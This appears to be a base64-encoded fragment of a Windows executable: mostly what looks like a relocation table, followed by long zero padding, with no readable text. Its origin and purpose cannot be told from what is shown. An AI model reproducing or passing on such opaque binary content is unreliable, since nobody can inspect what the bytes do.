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ZPSA9dj5AP2k/ez+NP5M/mT+fP6U/qz+yP7k/wD/HP84/1T/cP+Q/7D/0PwAAALACABwBAAAAMAkwDjAUMB4wJzAyMD4wQzBTMFgwXjBkMHowgTCQMKIwgjGMMZkx1zHeMesx8TGEM4sz9zQsNjE2QzZPNlg2XjZkNnM2vzYON1Y3qjdtOJs4EzktOT45dzmnOa45ujnAOcw50jnbOeE56jn2Ofw5BDoKOhY6HDopOjM6OTpDOmU6ejqgOuA65joQOxY7HDsyO0o7cDvqOw08FzxPPFc8ozyzPLk8xTzLPNs84TznPPY8BD0OPRQ9Kj0vPTc9PT1EPUo9UT1XPV89Zj1rPXM9fD2IPY09kj2YPZw9oj2nPa09sj3BPdc93T3lPeo98j33Pf89BD4LPho+Hz4lPi4+Tj5UPmw+iD6oPq0+kT+eP6Q/yD8AwAIArAAAAIUxtzHWMfUxWDJ7Mp0yqDLeMu4yGDMpMzYzPTNNM18zZDOxM84zIjT8NAQ1HDU3NY41tTXBNcw2+Db+Ngc3DjcwN6U3rTfAN8s30DfiN+w38TcNOBc4LTg4OFI4XThlOHU4eziMOMU4zzj1OPw4FjkdOUg5xTnYOeo5MTpJOlM6bjp2Onw6ijq+Oss64DoROy47ejuoO3s8kjwoPVk93j6UP54/ANACALgAAABSMGEw2DDlMLoxxDFkMqIy1DL8MqQzyjPQM/ozPzRGNFs0ojSsNNc07zQNNTE1YTVzNaE1xDXKNd81/zUkNl42azaLNqU21zb/No03yjfUN+w3FThHOG84aTmmOb05LTs+O3g7hTuPO507pjuwO+Q77zv5OxI8HDwvPFM8ijy/PNI8Qj1fPag9Fz42Pqs+tz7KPtw+9z7/Pgc/Hj83P1M/XD9iP2s/cD9/P6Y/zz/gPwDgAgCMAAAALzRyNY01ozW5NcE1LjY3N6c30zdJOKc4Yjl0OYY5rDm5Occ59zncOv06BjstOzo7PztNO3w7gzuNO587tjvEO8o77Tv0Ow08ITwnPDA8QzxnPKc8+zwbPTI9RT1WPXs9tj3JPeE9AT5UPnw+lT6xPt4+Cz8WP0Q/Uj9bP5s/rT/pPwAAAPACAEQAAAAOMBswQzB1MH0wuzB3PNM89TwHPRk9Kz09PXQ9pT6sPrQ+vD7EPuo+Uz9lP3c/iT+bP60/vz/RP+M/9T8AAAMATAAAAAcwGTArMGUw4jJLM1wzLzVANWA1iTWdNbE1HTZZNt42HzdCN/A4LTnnOfA5Mjo7OoU6yToTOxw7NTuHO5o7yTvYOwAAABADAAwAAADFMAAAACADAHgAAAAPMRMxFzEbMR8xIzEnMSsxLzEzMTcxOzE/MUMxRzFLMU8xUzFXMVsxXzFjMWcxazFvMXMxdzF7MX8xgzGHMYsxlzG6MVMy0DMvNNI08jTiNQs2ZDbSN6w4fDmtOcM5BDojOsA68joaOzA+tT7TPvk+ADADAAwAAABKNlA2AEADABAAAAAtMLU4uzgAAABQAwB0AAAALjI0MjwySzKDMo0yzjLZMuMy9DL/Mr800DTYNN404zTpNFU1WzV3NZ816zX3NQY2CzYsNjE2xzfqN/c3AzgLOBM4HzhIOFA4ZTizOH457DkOOhc6YzpuOnQ6mTqfOqQ6/ToDOxQ8GjwkPAAAAGADACwAAAA1MIsw0TAxNvI2iTiPOJU4KTk/O1Y7Szy5POs98j1fP30/zj8AcAMAbAAAABMwPTBdMJMwnTD5MFgxNzK7MjY05DTxNAo1KDVkNYw1GDYdNiI2JzY3NmY2bDZ0Nrs2wDb6Nv82BjcLNxI3FzclN4Y3jzeVNxY4PjhhOHM4fjg7OdM58TkXOns6kzq5Ogo++z4AgAMAZAAAAEIwhTCxMNIwrzLfNOM05zTrNO808zT3NPs0ozYjN443oTfAN9I35Tf3Nzc4VzgsO047hzuuO8472DvvOxQ8NzzkPPg9/T0PPi0+QT5HPrw+IT8tP6U/vz/IP/A/AJADAGQAAAAAMCMwLjA0MEQwSTBaMGIwaDByMHgwgjCIMJIwmzCmMKswtDC+MMkwBDEeMTgxvDLDMskyCjMiMzs0ejXMNdk1+DXkN8g4/DghOU85DTqIO547ODzWPH49jD8AAACgAwBEAAAAkDETMgczDzPAM6E0OTU/NeA15jX0NZA2pzbhNmQ3WDhgOBE58jmKOpA6MTs3O0U74Tv4OzI8tTxyP4k/ALADAEgAAADVMtky3TLhMuUy6TLtMvEy9TL5Mv0yATNDNUo1xjXNNUk2UDarNtg2kDeWN5s3oTeyN8A3gjiqOLo41zgoOUw5AMADAMwAAABTM9Y2Rjd0N5k3vDfpNxY4OThUOG84ijilOMA42zj2OBE5LDlHOWI5fTmYObM5zjnpOQQ6Hzo6OlU6cDqLOqY6wTrcOvc6EjstO0g7Yzt+O5k7tDvPO+o7BTwgPDs8VjxxPIw8pzzCPN08+DwTPS49ST1kPX89mj21PdA96z0GPiE+PD5XPnI+jT6oPsM+3j75PhQ/Lz9KP2U/gD+KP5A/lT+bP6E/pz+sP7I/uD++P8M/yT/PP9U/2j/gP+Y/7D/xP/o/ANADAAwBAAAAMAYwCzARMBcwHTAiMCgwLjA0MDkwPzBFMEswUDBWMFwwYjBnMHAweDCAMIgwkDCYMKAwqDCwMLgwvzDGMMww0TDXMN4w4zDpMO4w9DD7MAAxBjELMRExGDEdMSMxKDEuMTUxOjFAMUUxSzFSMVcxXTFiMWgxbzF0MXoxfzGFMYwxkTGXMZ8xpTGtMbMxvzHLMdcx4zHvMfsxBzITMh0yKTIzMkgyUjJiMmcycTJ9MocykTKjMq0yvTLCMswy2DLeMuQy6DLxMvcyATMNMx8zLTM5M0ozUTNYM2AzZDNrM28zdjN6M4AzijOUM54zqDOyM7wzxjPQM9oz5DPvM/Mz+DMAAADgAwCIAQAASDNMM1AzVDNYM1wzYDNkM2gzbDNwM3QzeDN8M4AzhDOIM4wzkDOUM5gznDOgM6QzqDOsM7AztDO4M7wzwDPEM8gzzDPQM9Qz2DPcM+Az7DPwM/Qz+DP8Mwg0DDQgNCQ0KDQsNDA0NDQ4NEQ0SDRMNFA0VDRYNFw0YDRkNGg0eDR8NIA0hDSINIw0kDScNKA0pDSoNKw0sDS0NNg03DTkNOg08DT0NPg0/DQANQQ1CDUMNRA1FDUYNRw1yDXMNdA11DXYNdw14DXkNeg17DXwNfQ1+DX8NQA2BDYINgw2EDYUNhg2HDYgNiQ2KDYsNjA2NDY4Njw2QDZENkg2TDZQNlQ2WDZcNmA2ZDZoNmw2cDZ0Nng2fDaANoQ2iDaMNpA2lDaYNpw2oDakNqg2rDawNrQ2uDa8NsA2xDbINsw20DbUNtg23DbgNuQ2/DYANwQ3CDcMN2g3cDd0N3g3fDeAN4Q3iDeMN5A3lDeYN5w3oDekN6g3rDewOLQ4uDi8OAAAAPADADwAAADYMNww4DDMPdQ93D3kPew99D38PQQ+DD4UPhw+JD4sPjQ+PD5EPkw+VD5cPmQ+bD50PgAAAAAEALgAAAAINRA1GDUgNSg1MDU4NUA1SDVQNVg1YDVoNXA1eDWANYg1kDWYNaA1qDWwNbg1wDXINdA12DXgNeg18DX4NQA2CDYQNhg2IDYoNjA2ODZANkg2UDZYNmA2aDZwNng2gDaINpA2mDagNqg2sDa4NsA2yDbQNtg24DboNvA2+DYANwg3EDcYNyA3KDcwNzg3QDdIN1A3WDdgN2g3cDd4N4A3iDeQN5g3oDeoN7A3uDfANwAQBAAQAQAA0DHUMdgx3DHgMeQx6DHsMfAx9DH4MfwxADIEMggyDDIQMhQyGDIcMiAyJDIoMiwyMDI0MjgyPDJAMkQySDJMMlAyVDJYMlwyYDJkMmgybDJwMnQyeDJ8MoAyhDKIMowykDKUMpgynDKgMqQyqDKsMrAytDK4MrwywDLEMsgyzDLQMtQy2DLcMuAy5DLoMuwy8DL0Mvgy/DIAMwQzCDMMMxAzFDMYMxwzIDMkMygzLDMwMzQzODM8M0AzRDNIM0wzUDOAN4Q3iDeMN5A3lDeYN5w3oDekN6g3rDewN7Q3uDe8N8A3xDfIN8w30DfUN9g33DfgN+Q36DfsN/A39Df4N/w3ADgEOAg4ACAEADAAAAD0MPgw/DAAMXw9gD3wPvQ++D78PgA/BD8IPww/ED8UPxg/HD8gPwAAADAEAAwAAACcOaA5AIAEAJQAAAAANgQ2CDYMNhA2FDYYNhw2IDYkNig2LDYwNjQ2ODY8NkA2RDZINkw2UDZUNlg2XDZgNmQ2aDZsNnA2dDZ4Nnw2gDaENog2jDaQNpQ2mDacNqA2pDawNrQ2uDa8NsA2xDbINsw20DbUNtg23DbgNuQ26DbsNvA29Db4Nvw2ADcENwg3DDcQNxQ3GDcAAACgBAAQAQAAlDqYOqw6sDrAOsQ6zDrkOvQ6+DoIOww7EDsYOzA7QDtEO1Q7WDtcO2Q7fDuMO5A7oDukO6g7rDu0O8w73DvgO/A79Dv4OwA8GDwoPCw8PDxAPEQ8TDxkPHQ8eDyIPIw8kDyUPJw8tDzEPMg82DzcPOA85DzsPAQ9FD0YPSg9LD0wPTg9UD1gPWQ9aD1wPYg9mD2cPaw9sD20Pbg9wD3YPeg97D38PQA+ED4UPhg+ID44Pkg+TD5cPmA+aD6APpA+lD6kPqg+rD60Psw+3D7gPvA+9D74PgA/GD8oPyw/PD9AP0Q/TD9kP3Q/eD+IP4w/kD+UP5g/oD+4P8g/zD/cP+A/5D/oP/A/ALAEAIgCAAAIMBgwHDAsMDAwNDA4MEAwWDBoMGwwcDB4MJAwoDCkMLQwuDDAMNgw6DDsMPwwADEEMQwxJDE0MTgxSDFMMVAxVDFYMVwxZDF8MYwxkDGgMaQxqDGwMcgx2DHcMewx8DH0Mfgx/DEEMhwyIDI4MjwyVDJYMnAygDKEMpQymDKgMrgyyDLMMtwy4DLkMugy8DIIMxgzHDMsMzAzNDM8M1QzZDNoM3AziDOMM6QztDO4M8gzzDPQM9gz8DMANAQ0DDQkNDQ0ODRINEw0UDRUNFg0XDRgNGQ0aDRsNHA0eDSQNKA0pDS0NLg0vDTANMQ0yDTMNNA01DTYNOA0+DT8NBQ1JDUoNTg1PDVANUQ1SDVQNWg1eDV8NYw1kDWYNbA1wDXENdQ12DXcNeQ1/DUMNhA2IDYkNiw2RDZUNlg2aDZsNnA2eDaQNqA2pDa0Nrg2vDbENtw27DbwNgA3BDcINww3FDcsNzw3QDdQN1Q3WDdcN2A3ZDdoN2w3cDd0N3g3gDeYN6g3rDe8N8A3xDfMN+Q39Df4Nwg4DDgQOBQ4GDgcOCA4JDgoOCw4NDhMOFA4aDh4OHw4jDiQOJQ4mDicOKQ4vDjMONA44DjkOOg47DjwOPg4EDkUOSw5PDlAOVA5VDlcOXQ5hDmIOZg5nDmgOaQ5rDnEOSw7ODtYO2A7bDuMO6A7qDuwO7g7vDvAO8g73DvkO+w79Dv4O/w7BDwYPCA8LDxMPFg8eDyEPKQ8sDzQPNw8ED0wPVA9cD2QPbA9vD3YPeQ98D0QPjA+UD5sPnA+kD6YPpw+tD64Psg+7D74PgA/MD84Pzw/VD9YP3Q/eD+AP4g/kD+UP5w/sD/QP/A/AMAEAIwBAAAQMDAwPDBYMHgwmDC4MNgw+DAYMSQxQDFMMWgxiDGoMcgx6DEIMigySDJkMmgyiDKoMsgy6DL0MhAzLDMwM0wzUDNwM5AzsDPQM/AzDDQQNBg0LDQ0NEg0UDRUNFw0ZDRsNIA0iDScNKQ0qDSsNLA0uDTANMg03DTkNOg08DT4NAA1FDUcNSA1KDUwNVA1ZDVwNXg1qDW8Ncg10DUANhQ2IDYoNlg2bDZ4NoA2sDbENtA22DYINxw3KDcwN2A3dDeAN4g3uDfMN9g34DcQOCQ4MDg4OGg4fDiIOJA40DjgOPQ4CDkUORw5XDlsOYA5lDmgOag52DnsOfg5ADowOkQ6UDpYOog6nDqoOrA64Dr0OgA7CDs4O0w7WDtgO5A7pDuwO7g76Dv8Owg8EDxAPFQ8YDxoPJg8rDy4PMA88DwEPRA9GD1IPVw9aD1wPaA9tD3APcg9+D0MPhg+ID5QPmQ+cD54Pqg+vD7IPtA+AD8UPyA/KD9YP2w/eD+AP7A/xD/QP9g/ANAEADgBAAAIMBwwKDAwMGAwdDCAMIgwuDDMMNgw4DAQMSQxMDE4MWgxfDGIMZAxwDHUMeAx6DEYMiwyODJAMnAyhDKQMpgyyDLcMugy8DIgMzQzQDNIM3gzjDOYM6Az0DPkM/Az+DMoNDw0SDRQNIA0lDSgNKg02DTsNPg0ADUwNUQ1UDVYNYg1nDWoNbA14DX0NQA2CDY4Nkw2WDZgNpA2pDawNrg26Db8Ngg3EDdAN1Q3YDdoN5g3rDe4N8A38DcEOBA4GDhIOFw4aDhwOKA4tDjAOMg4+DgMORg5IDlQOWQ5cDl4Oag5vDnIOdA5ADoUOiA6KDpYOmw6eDqAOrA6xDrQOtg6CDscOyg7MDtgO3Q7gDuIO7g7zDvYO+A7EDwkPDA8ODxoPHw8iDyQPMA81DzgPOg8AAAFADQBAAAAMCQwUDB8MKgwrDCwMLQwuDC8MMAwyDDsMAwxLDFQMYwxrDFIMkwyUDJUMlgyXDJgMmQyaDJsMngyfDKAMoQyiDKMMpAylDKYMqAyuDLAMjg1sDbYNtw29Db4Ngg3DDcQNxQ3GDccNyA3JDcoNyw3MDc0Nzg3PDdAN0Q3SDdMN1A3VDdYN1w3YDdkN2g3bDdwN3Q3eDd8N4A3hDeIN4w3kDeUN5g3nDegN6Q3qDesN7A3wDfEN8g3zDfQN9Q32DfcN+A35DfoN+w38Df0N/g3/DcAOAQ4CDgMOBA4FDgYOBw4IDgkOCg4LDgwODQ4ODg8OEA4RDhIOEw4UDhUOFg4XDhgOGQ4aDjIONg46Dj4OAg5LDk4OTw5QDlEOUg5TDlQOcg+7D/0P/w/AAAAEAUAQAEAAAQwDDAUMBwwJDAsMDQwPDBEMEwwVDBcMGQwbDB0MHwwhDCMMJQwnDCkMKwwtDC8MMQwzDAgMiQyKDIsMjAyNDI4MjwyQDJEMkgyTDJQMlQyWDJcMmAyZDJoMmwycDJ0MngyfDKAMoQyiDKMMpAylDKYMpwyoDKkMqgyrDKwMrQyuDK8MsAyxDLIMswy4DLkMugy7DLwMvQy+DL8MgAzBDM0Nlg2sDbQNvA2EDdoN7g39Dc0OGw4iDikOMQ44DgEOSQ5QDlgObQ59DmIOpA6lDqYOpw6oDqkOqg6rDqwOrQ6uDq8OsA6xDrIOsw60DrUOtg63DrgOuQ66DrsOvA69Dr4Ovw6ADsEOwg7DDsQOxQ7GDscOyA7JDsoOyw7YDt4O9A76DsIPFw8eDzIPBg9VD2QPcw9CD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA